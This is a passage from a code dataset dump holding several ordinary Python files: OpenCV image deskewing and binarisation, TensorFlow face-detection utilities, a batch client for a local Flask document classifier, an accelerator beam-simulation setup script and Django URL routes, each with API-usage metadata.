"usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 231, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_PRI", "line_number": 233, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 233, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_ERR", "line_number": 235, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 235, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_HUP", "line_number": 237, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 237, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_NVAL", "line_number": 239, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 239, "usage_type": "name"}, {"api_name": "logging.CRITICAL", "line_number": 246, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 248, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 250, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 252, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 254, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 267, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 269, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 270, "usage_type": "attribute"}, {"api_name": "OpenSSL.crypto.PKey", "line_number": 279, "usage_type": "call"}, {"api_name": "OpenSSL.crypto", "line_number": 279, "usage_type": "name"}, {"api_name": "OpenSSL.crypto.TYPE_RSA", "line_number": 280, "usage_type": "attribute"}, {"api_name": "OpenSSL.crypto", "line_number": 280, "usage_type": "name"}, {"api_name": "OpenSSL.crypto.X509", "line_number": 282, "usage_type": "call"}, {"api_name": "OpenSSL.crypto", "line_number": 282, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 284, "usage_type": "call"}, {"api_name": "OpenSSL.crypto.dump_certificate", "line_number": 296, "usage_type": "call"}, {"api_name": "OpenSSL.crypto", "line_number": 296, "usage_type": "name"}, {"api_name": "OpenSSL.crypto.FILETYPE_PEM", "line_number": 296, "usage_type": "attribute"}, {"api_name": "os.fchmod", "line_number": 298, "usage_type": "call"}, {"api_name": "OpenSSL.crypto.dump_privatekey", "line_number": 301, "usage_type": "call"}, {"api_name": "OpenSSL.crypto", "line_number": 301, "usage_type": "name"}, {"api_name": "OpenSSL.crypto.FILETYPE_PEM", "line_number": 301, "usage_type": "attribute"}, {"api_name": "os.fchmod", "line_number": 303, "usage_type": "call"}, {"api_name": "dbus.mainloop.glib.DBusGMainLoop", "line_number": 345, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 353, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 355, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 359, "usage_type": "call"}, {"api_name": "dbus.Interface", "line_number": 382, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 382, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 387, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 387, "usage_type": "call"}, {"api_name": "gi.repository.GLib.source_remove", "line_number": 394, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 394, "usage_type": "name"}, {"api_name": "dbus.Interface", "line_number": 408, "usage_type": "call"}, {"api_name": "dbus.SystemBus", "line_number": 408, "usage_type": "call"}, {"api_name": "dbus.UInt32", "line_number": 413, "usage_type": "call"}, {"api_name": "dbus.UInt16", "line_number": 418, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 423, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 423, "usage_type": "call"}, {"api_name": "gi.repository.GLib.source_remove", "line_number": 429, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 429, "usage_type": "name"}, {"api_name": "dbus.exceptions", "line_number": 439, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.timeout_add_seconds", "line_number": 457, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 457, "usage_type": "name"}, {"api_name": "gi.repository.GLib.timeout_add_seconds", "line_number": 466, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 466, "usage_type": "name"}]} {"seq_id": "7124085134", "text": "import numpy as np\r\nimport cv2\r\nimport math\r\n\r\ndef clean_img(img_copy):\r\n img=img_copy.copy()\r\n lcount,labels,stats,centroids=cv2.connectedComponentsWithStats(img.astype(np.uint8),8,cv2.CV_32S)\r\n points=[[] for i in range(lcount)]\r\n for index,item in np.ndenumerate(labels):\r\n points[item].append(index)\r\n stats_zip=list(zip(*stats[1:lcount]))\r\n height_std=np.median(stats_zip[cv2.CC_STAT_HEIGHT])\r\n width_std=np.median(stats_zip[cv2.CC_STAT_HEIGHT])\r\n noise_labels=[label for label,stat in enumerate(stats) if stat[cv2.CC_STAT_HEIGHT]>20*height_std or stat[cv2.CC_STAT_WIDTH]>20*width_std or stat[cv2.CC_STAT_AREA]<4]\r\n for label in noise_labels:\r\n for point in points[label]:\r\n img[point]=0\r\n return img\r\n\r\n#find location of a particular point after rotation\r\ndef rotate_point(point,angle,pivot=(0,0),scale=1.0,trans=[0,0]):\r\n point=list(point)\r\n point[0]=point[0]+trans[0]\r\n point[1]=point[1]+trans[1]\r\n cos=scale*math.cos(angle)\r\n sin=scale*math.sin(angle)\r\n x=(point[0]-pivot[0])*cos-(point[1]-pivot[1])*sin\r\n y=(point[1]-pivot[1])*cos+(point[0]-pivot[0])*sin\r\n return x+pivot[0],y+pivot[1]\r\n\r\n\r\n#rotate an image by the angle specified in degrees about a pivot point\r\ndef rotate_bound(image, angle, scale=1.0, pivot=(0,0), reshape=True):\r\n (h, w) = image.shape[:2]\r\n angle_rad=angle*math.pi/180\r\n # if reshape==True, borders are extended to retain all data from input image\r\n if reshape:\r\n cos=scale*math.cos(angle_rad)\r\n sin=scale*math.sin(angle_rad)\r\n \r\n #find new locations of corner points of the image\r\n x1,y1=rotate_point([h,0],-angle_rad,pivot,scale)\r\n x2,y2=rotate_point([0,w],-angle_rad,pivot,scale)\r\n x3,y3=rotate_point([h,w],-angle_rad,pivot,scale)\r\n x4,y4=rotate_point([0,0],-angle_rad,pivot,scale)\r\n x=[int(x1),int(x2),int(x3),int(x4)]\r\n y=[int(y1),int(y2),int(y3),int(y4)]\r\n x_min=min(x)\r\n x_max=max(x)\r\n y_min=min(y)\r\n y_max=max(y)\r\n M = np.array([[cos,-sin,(pivot[1]*(1-cos)+pivot[0]*sin-y_min)],[sin,cos,(pivot[0]*(1-cos)-pivot[1]*sin-x_min)]])\r\n nW=y_max-y_min\r\n nH=x_max-x_min\r\n else: \r\n x_min=0\r\n y_min=0\r\n nW=w\r\n nH=h\r\n M = cv2.getRotationMatrix2D(pivot, -angle, 1.0)\r\n return cv2.warpAffine(image, M, (nW, nH),flags=cv2.INTER_CUBIC),[x_min,y_min]\r\n\r\ndef rotate2(img_copy,r=[-45,45]):\r\n img=img_copy.copy()\r\n diff_set=[]\r\n for angle in range(r[0],r[1]):\r\n rot_img,trans_factor=rotate_bound(img,angle)\r\n profile=[np.sum(row) for row in rot_img]\r\n diff_set.append((angle,rot_img,profile))\r\n optimal_set=max(diff_set,key=lambda x:np.std(x[2]))\r\n return optimal_set\r\n\r\n\r\ndef binarize(img):\r\n def calc_thresh_stats(img):\r\n img=1-img\r\n out=cv2.connectedComponentsWithStats(img,8,cv2.CV_32S)\r\n area=[item[cv2.CC_STAT_AREA] for item in out[2]]\r\n avg=np.mean(area[1:len(area)])\r\n return [img,avg]\r\n \r\n thresh_items=[]\r\n new_img = cv2.adaptiveThreshold(img,1,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\\\r\n cv2.THRESH_BINARY,15,2)\r\n \r\n thresh_items.append(calc_thresh_stats(new_img))\r\n \r\n ret,new_img = cv2.threshold(img,0,1,cv2.THRESH_BINARY+cv2.THRESH_OTSU)\r\n thresh_items.append(calc_thresh_stats(new_img))\r\n ret,new_img = cv2.threshold(img,155,1,cv2.THRESH_BINARY)\r\n thresh_items.append(calc_thresh_stats(new_img))\r\n new_img = cv2.adaptiveThreshold(img,1,cv2.ADAPTIVE_THRESH_MEAN_C,\\\r\n cv2.THRESH_BINARY,15,2)\r\n thresh_items.append(calc_thresh_stats(new_img))\r\n \"\"\"\r\n fig=mpl.pyplot.figure(global_vars.figno)\r\n for index,item in enumerate(thresh_items):\r\n fig.add_subplot(2,2,index+1)\r\n mpl.pyplot.imshow(item[0],'gray')\r\n global_vars.figno+=1\r\n \"\"\"\r\n return (max(thresh_items,key=lambda x:x[1]))[0]", "repo_name": "zerodarkzone/Line-And-Word-Segmentation-of-Documents", "sub_path": "preprocessor.py", "file_name": "preprocessor.py", "file_ext": "py", "file_size_in_byte": 3969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.connectedComponentsWithStats", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.CV_32S", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.ndenumerate", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.CC_STAT_HEIGHT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.median", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.CC_STAT_HEIGHT", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_HEIGHT", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_WIDTH", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_AREA", "line_number": 14, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 25, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 26, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 35, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 38, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_AREA", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_GAUSSIAN_C", "line_number": 83, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 90, "usage_type": "attribute"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_MEAN_C", "line_number": 92, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 93, "usage_type": "attribute"}]} {"seq_id": "35685644332", "text": "import os\nlog_level = 3\nlog_level_values = ['DEBUG', 'INFO', 'WARNING', 'ERROR']\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = str(log_level)\nimport tensorflow as tf\nassert tf.__version__[0] == '2'\ntf.get_logger().setLevel(log_level_values[log_level])\nimport numpy as np\nfrom numpy.random import randint\nimport cv2\nfrom numbers import Integral\n\ndir_path = os.path.dirname(__file__)\n\n\nclass FDet:\n \"\"\"\n Exported from tf1 from:\n https://github.com/TropComplique/FaceBoxes-tensorflow\n \"\"\"\n def __init__(self):\n checkpoint_path = os.path.join(dir_path, 'fdet_saved_model')\n assert os.path.isdir(checkpoint_path), checkpoint_path + ' should exist'\n m = tf.saved_model.load(checkpoint_path)\n self.m = m.prune('import/image_tensor:0', ['import/boxes:0', 'import/scores:0', 'import/num_boxes:0'])\n\n def get_bbox(self, img, thr=0.4):\n sh = img.shape\n assert len(sh)==3\n img = img.reshape((1,)+sh)\n bboxes, scores, num_boxes = self.m(tf.convert_to_tensor(img))\n bboxes = bboxes.numpy()[0]\n scores = scores.numpy()[0]\n num_boxes = num_boxes.numpy()[0]\n bboxes = bboxes[:num_boxes]\n scores = scores[:num_boxes]\n if len(bboxes) > 0:\n id = np.argmax(scores)\n score = scores[id]\n if score >= thr:\n bbox = bboxes[id]\n assert all([0 <= x <= 1 for x in bbox])\n h, w, _ = sh\n t, l, b, r = bbox\n t = int(round(h*t))\n l = int(round(w*l))\n b = int(round(h*b))\n r = int(round(w*r))\n return [l,t,r,b]\n return [-1,-1,-1,-1]\n\n\ndef read_img_as_bytes_ndarray(img_path):\n \"\"\"\n Returns img as base64 byte string and as np.ndarray\n :param img_path:\n :return: (img_bytes, img_ndarray)\n \"\"\"\n img_bytes = open(img_path,'rb').read()\n img_ndarray = tf.io.decode_image(img_bytes).numpy()\n return img_bytes, img_ndarray\n\n\ndef is_any_int(x):\n \"\"\"\n Checks if x is any integer type\n \"\"\"\n return isinstance(x, Integral)\n\n\nclass Data_process_pipe:\n def __init__(self, funcs_names):\n possible_funcs = list(filter(lambda x: callable(self.__getattribute__(x)), dir(self)))\n\n self.funcs = []\n funcs_names_final = []\n for func_name in funcs_names:\n if func_name in possible_funcs:\n func = self.__getattribute__(func_name)\n self.funcs.append(func)\n funcs_names_final.append(func_name)\n self.get_config = lambda: funcs_names_final\n\n def __call__(self, **kwargs):\n for func in self.funcs:\n kwargs = func(**kwargs)\n return kwargs\n\n\nclass Pre(Data_process_pipe):\n\n READ_TF_IMG = 'read_tf_img'\n\n RESIZE_PROPORTIONAL_TF_BILINEAR = 'resize_proportional_tf_bilinear'\n PAD_TO_INPUT_CENTER = 'pad_to_input_center'\n STANDARDIZE = 'standardize'\n CROP_BB = 'crop_bb'\n FLIP = 'flip'\n ROTATE = 'rotate'\n\n def __init__(self, funcs_names, sample_size=None):\n self.init()\n super(Pre, self).__init__(funcs_names)\n if sample_size is not None:\n self._set_image_sample_size(sample_size)\n self.fdet = FDet()\n\n def init(self):\n pass\n\n def _set_image_sample_size(self, sample_size):\n assert is_any_int(sample_size)\n assert sample_size > 0\n self.sample_size = sample_size\n\n def read_tf_img(self, **kwargs):\n filepath = kwargs['filepath']\n _, img = read_img_as_bytes_ndarray(filepath)\n # assert len(img.shape) == 3, filepath\n kwargs['x'] = img\n return kwargs\n\n def resize_proportional_tf_bilinear(self, **kwargs):\n img = kwargs['x']\n shape = img.shape\n y, x = shape[0], shape[1]\n max_edge = max(x, y)\n scaling = self.sample_size / max_edge\n newx = int(round(scaling * x))\n newy = int(round(scaling * y))\n new_size = (newy, newx)\n try:\n img = tf.image.resize(img, new_size, method=tf.image.ResizeMethod.BILINEAR)\n except Exception:\n print()\n kwargs['x'] = img.numpy()\n return kwargs\n\n def pad_to_input_center(self, **kwargs):\n img = kwargs['x']\n y, x = img.shape[:2]\n assert y <= self.sample_size and x <= self.sample_size\n\n pad_y = self.sample_size-y\n residue_y = pad_y % 2\n pad_y //= 2\n\n pad_x = self.sample_size - x\n residue_x = pad_x % 2\n pad_x //= 2\n\n img = np.pad(img, [\n [pad_y, pad_y + residue_y],\n [pad_x, pad_x + residue_x],\n [0, 0]\n ], 'constant', constant_values=[0., 0.])\n kwargs['x'] = img\n return kwargs\n\n standardization_mean = 255 / 2\n def standardize(self, **kwargs):\n img = kwargs['x']\n img -= self.standardization_mean\n img /= 255\n kwargs['x'] = img\n return kwargs\n\n def crop_bb(self, **kwargs):\n img = kwargs['x']\n bb = kwargs.get('bb', None)\n if bb is None:\n l,t,r,b = self.fdet.get_bbox(img, thr=0.0)\n kwargs['bb'] = [l,t,r,b]\n else:\n l, t, r, b = bb\n if not(l==-1 or t>=b or l>=r):\n img = img[t:b,l:r]\n kwargs['x'] = img\n return kwargs\n\n def flip(self, **kwargs):\n img = kwargs['x']\n if randint(2):\n img = np.flip(img, 1) # vertical flip\n kwargs['x'] = img\n return kwargs\n\n @staticmethod\n def get_interpolation_warpaffine():\n return randint(0,5)\n\n @staticmethod\n def augm_rotate(img, x, interpolation=1, border_value=(127, 127, 127)):\n image_center = tuple(np.array(img.shape[1::-1]) / 2)\n rot_mat = cv2.getRotationMatrix2D(image_center, x, 1.0)\n result = cv2.warpAffine(img, rot_mat, img.shape[1::-1], flags=interpolation, borderValue=border_value) # INTER_LINEAR, CUBIC, AREA\n return result\n\n angle_low = -30\n angle_high = 31\n def rotate(self, **kwargs):\n img = kwargs['x']\n angle = randint(self.angle_low, self.angle_high)\n interp = self.get_interpolation_warpaffine()\n img = self.augm_rotate(img, angle, interp)\n kwargs['x'] = img\n return kwargs\n", "repo_name": "klapeyron5/has_glasses", "sub_path": "export/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "tensorflow.__version__", "line_number": 6, "usage_type": "attribute"}, {"api_name": "tensorflow.get_logger", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model.load", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.convert_to_tensor", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.io.decode_image", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numbers.Integral", "line_number": 68, "usage_type": "argument"}, {"api_name": "tensorflow.image.resize", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 133, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 195, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 203, "usage_type": "call"}]} {"seq_id": "5385981853", "text": "#Abdurrahman Beyaz. abdurrahmanbeyaza@gmail.com\n\"\"\"\nThis class is one of component of the pipeline.It reads a given json files as a batch and send request to FLASK documenet classifier API.\nThis component may be positioned either as first where the news articles are already in JSON format, or as second after the news articles that are in formatted stuctured like HTML converted to JSON format.\nthe lines that end with '#' must be used in case of this component is used as first and lines that end with '##' must be used in case of this component is used as second.\n\"\"\"\n\nimport argparse\nimport json\nimport requests\nimport re\nfrom utils import write_to_json\nfrom utils import dump_to_json\nfrom utils import read_from_json\nfrom utils import change_extension\nfrom datetime import datetime # can be not used check it\n\ndef get_args():\n '''\n This function parses and return arguments passed in\n '''\n parser = argparse.ArgumentParser(prog='classifier.py',\n description='Document FLASK SVM Classififer Application ')\n parser.add_argument('--input_files', help=\"Input file\")\n parser.add_argument('--out_dir', help=\"output folder\")\n parser.add_argument('--cascaded', help=\"enable cascaded version\" ,action=\"store_true\",default=False)\n parser.add_argument('--first', help=\"enable cascaded version\" ,action=\"store_true\",default=False)\n args = parser.parse_args()\n\n return(args)\n\ndef request(texts):\n r = requests.post(url = \"http://localhost:5000/queries\", data = {'texts':texts},json={\"Content-Type\":\"application/json\"})\n return json.loads(r.text)\n\nif __name__ == \"__main__\":\n args = get_args()\n jsons = []\n if args.first:\n files=args.input_files.split()\n for filename in files:\n jsons.append(read_from_json(filename))\n else:\n files = eval(args.input_files)\n for filename in files:\n filename=filename.strip(\"' \")\n read_file=read_from_json(args.out_dir+filename)\n if read_file==\"\":continue\n jsons.append(read_file)\n\n rtext = request([data[\"text\"] for data in jsons])\n event_sentences = rtext[\"event_sentences\"]\n output_data = []\n for i,data in enumerate(jsons):\n out = int(rtext[\"outputs\"][i])\n data[\"doc_label\"] = out\n data[\"length\"] = len(data[\"text\"])\n\n out_sentences= event_sentences.pop(0)\n data[\"sentences\"]= out_sentences if len(out_sentences)>0 else []\n\n data[\"sent_labels\"]= [-1] * len(out_sentences)\n data[\"trigger_semantic\"]= [-1] * len(out_sentences)\n data[\"participant_semantic\"]= [-1] * len(out_sentences)\n data[\"organizer_semantic\"]= [-1] * len(out_sentences)\n\n keys=data.keys()\n if \"id\" not in keys and 'url' in keys:\n data[\"id\"]=data[\"url\"].replace(\":\",\"_\").replace(\"/\",\"_\")+ datetime.now().strftime(\"%f\")\n else:\n # if a document doesn't have id nor url fields, use the filename as id (i.e. url)\n data[\"id\"] = files[i]\n\n write_to_json(data, data[\"id\"], extension=\"json\", out_dir=args.out_dir)\n if out == 1:\n output_data.append(change_extension(data[\"id\"],\".json\"))\n\n if len(output_data)>0:\n print(\" \".join(output_data))\n", "repo_name": "emerging-welfare/emw_pipeline_nf", "sub_path": "bin/classifier_batch.py", "file_name": "classifier_batch.py", "file_ext": "py", "file_size_in_byte": 3257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 33, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.read_from_json", "line_number": 42, "usage_type": "call"}, {"api_name": "utils.read_from_json", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.write_to_json", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.change_extension", "line_number": 76, "usage_type": "call"}]} {"seq_id": "29835378404", "text": "\nfrom __future__ import division\nfrom __future__ import print_function\nfrom builtins import str\nimport numpy as np\nimport pylab as plt\nimport pickle\nimport os\nfrom run_cb_sim import run_cb_sim\nfrom cavity_model import resonator_impulse_response\nfrom scipy.constants import c\nfrom blond.impedances.impedance_sources import Resonators\nfrom setup_run import setup_run\n\n\nclass sim_params:\n pass\n \n#Define static parameters:\nparams = sim_params()\n\n# Tracking details\nparams.N_t = 25000 # Number of turns to track\n\n# Beam parameters\nparams.n_particles = 1e10\nparams.n_macroparticles = 1e3\nparams.sync_momentum = 15e9 # [eV]\n \n# Machine and RF parameters\nradius = 100.0\nparams.gamma_transition = 6.1\nparams.circumference = 2 * np.pi * radius # [m]\n\n# Cavities parameters\nparams.n_rf_systems = 1\nparams.harmonic_number = 21\nparams.voltage_program = 168e3\nparams.phi_offset = 0\n\n#Wake impedance\nparams.resonator_list = [Resonators(0.001*10*7.691696828196692195e+02,\\\n 9.860944280723674223e+06, \\\n 8.157582101860359813e+00)]\n\nparams.n_turns_memory = 100\nparams.filter_front_wake = 0.5\n\n#Beam parameters:\nparams.n_bunches = 21\nparams.bunch_spacing_buckets = 1\nparams.bunch_length = 4*0.5/c\nparams.intensity_list = [84*2.6e11/params.n_bunches] * params.n_bunches\nparams.minimum_n_macroparticles = [1e5] * params.n_bunches\n\nparams.cbfb_params = {'N_channels' : 1,\n 'h_in' : [20],\n 'h_out' : [1],\n 'active' : [False],\n 'sideband_swap' : [True],\n 'gain' : [np.zeros(params.N_t+1, complex)],\n 'pre_filter' : 'none',\n 'post_filter' : 'none'}\n\nfinemet_dt = 5e-9\nfinemet_f0 = 1.96e6\nfinemet_Q = 0.49\nfinemet_h = resonator_impulse_response(2*np.pi*finemet_f0, finemet_Q, finemet_dt, 100)\n\nparams.rf_params = {'dt' : finemet_dt, \n 'impulse_response' : finemet_h, \n 'max_voltage' : 1e5, \n 'output_delay' : 1e-8,\n 'history_length' : 1e-3}\n\nparams.start_cbfb_turn = 12000\nparams.end_cbfb_turn = 25000\nparams.cbfb_active_mask = [True]\n\nparams.fb_diag_dt = 25\nparams.fb_diag_plot_dt = 500\nparams.fb_diag_start_delay = 100\n\n# Excitation parameters:\nparams.exc_v = np.zeros(params.N_t+1)\nparams.fs_exc = 442.07\nparams.exc_delta_freq = 2*params.fs_exc\n\n#Simulation parameters\nparams.profile_plot_bunch = 0\nparams.phase_plot_dt = 500\nparams.phase_plot_max_dE = 100e6\nparams.tomo_n_slices = 10000\nparams.tomo_dt = 10\nparams.fft_n_slices = 64\nparams.fft_start_turn = 17000\nparams.fft_end_turn = 25000\nparams.fft_plot_harmonics = [20]\nparams.fft_span_around_harmonic = 6*params.fs_exc\n\nparams.mode_analysis_window = 4000\nparams.mode_analysis_resolution = 2000\nparams.N_plt_modes = 4\n\nparams.cbfb_mag_window = 3001\n\nquad_exc_v = 6e3\nparams.exc_v[0:10000] = quad_exc_v\n\nthis_directory = os.path.dirname(os.path.realpath(__file__)) + '/'\nscans_dir = '/scans/phase_flip_study/'\n\nworking_dir = os.getcwd()\nsource_dir = os.path.dirname(os.path.realpath(__file__)) + '/'\njob_flavour = '\"workday\"'\n\nparams.exc_harmonic = 20\nparams.exc_mod_harm = 0\nparams.exc_mod_phase = np.pi/2\nparams.exc_v[params.start_cbfb_turn:params.end_cbfb_turn] = 0\n\nrun_dir = working_dir + scans_dir + 'run_ref' + '/'\nsetup_run(run_dir, source_dir, params, job_flavour)\n\n\nparams.exc_harmonic = 20\nparams.exc_mod_harm = 0\nparams.exc_mod_phase = np.pi/2\nparams.exc_v[params.start_cbfb_turn:params.end_cbfb_turn] = -quad_exc_v\n\nrun_dir = working_dir + scans_dir + 'run_h20_simple' + '/'\nsetup_run(run_dir, source_dir, params, job_flavour)\n\n\nparams.exc_harmonic = 1\nparams.exc_mod_harm = 21\nparams.exc_mod_phase = 0\nparams.exc_v[params.start_cbfb_turn:params.end_cbfb_turn] = -quad_exc_v\n\nrun_dir = working_dir + scans_dir + 'run_h1_h21_mod' + '/'\nsetup_run(run_dir, source_dir, params, job_flavour)", "repo_name": "japaszki/ps_cb_blond_sims", "sub_path": "phase_flip_study.py", "file_name": "phase_flip_study.py", "file_ext": "py", "file_size_in_byte": 3965, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.pi", "line_number": 33, "usage_type": "attribute"}, {"api_name": "blond.impedances.impedance_sources.Resonators", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.constants.c", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "cavity_model.resonator_impulse_response", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 110, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 119, "usage_type": "attribute"}, {"api_name": "setup_run.setup_run", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 128, "usage_type": "attribute"}, {"api_name": "setup_run.setup_run", "line_number": 132, "usage_type": "call"}, {"api_name": "setup_run.setup_run", "line_number": 141, "usage_type": "call"}]} {"seq_id": "70200137534", "text": "from django.urls import path, include\nfrom .views import *\nfrom django.conf.urls import url\n\nurlpatterns = [\n path('signup/', Signup.as_view(), name='signup'),\n path('question/', Questionhub.as_view(), name='questionHub'),\n path('code//', Code.as_view(), name='codeSave'),\n path('leaderboard/', LeaderBoard.as_view(), name='leaderBoard'),\n path('submission/', Submissions.as_view()),\n path('result/', Result.as_view(), name='result'),\n path('checkusername/', check.as_view()),\n path('score/',total.as_view()),\n# path('emergency/',emergency_login()),\n\n # function base:\n path('timer/', timer, name='timer'),\n path('time/', time, name='time'),\n]\n", "repo_name": "CTD-NCC/NCC20", "sub_path": "UserApp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, 